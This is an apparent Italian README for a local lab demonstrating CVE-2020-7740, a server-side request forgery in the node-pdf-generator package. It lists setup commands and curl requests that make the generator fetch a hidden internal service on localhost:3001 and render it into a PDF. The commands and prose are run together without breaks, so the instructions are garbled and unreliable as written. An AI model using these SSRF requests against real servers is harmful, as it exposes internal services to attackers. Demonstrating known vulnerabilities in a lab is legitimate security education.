
Un esempio di CVE-2020-7740
Questo interessa tutte le versioni del pacchetto node-pdf-generator. A causa della mancanza di convalida e sanificazione dell'input dell'utente eseguita sul contenuto fornito a node-pdf-generator, è possibile per un attaccante creare un url che verrà passato a un server esterno consentendo un attacco SSRF.
docker run -p 3000:3000 cve-2020-7740localhost:3001 direttamentecurl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdftest.pdf per vedere il sito web localhost che dovrebbe essere nascosto.git clone {link to be inserted}https://wkhtmltopdf.org/node .\NodePdfGeneratorServer il server sarà in esecuzione su localhost:3000python3 -m pip install -r requirements.txtpython3 HiddenService il server sarà in esecuzione su 'localhost:3001`curl --location --request GET localhost:3000/test --data-raw http://www.google.com --output test.pdfhttp://www.google.com nel file test.pdf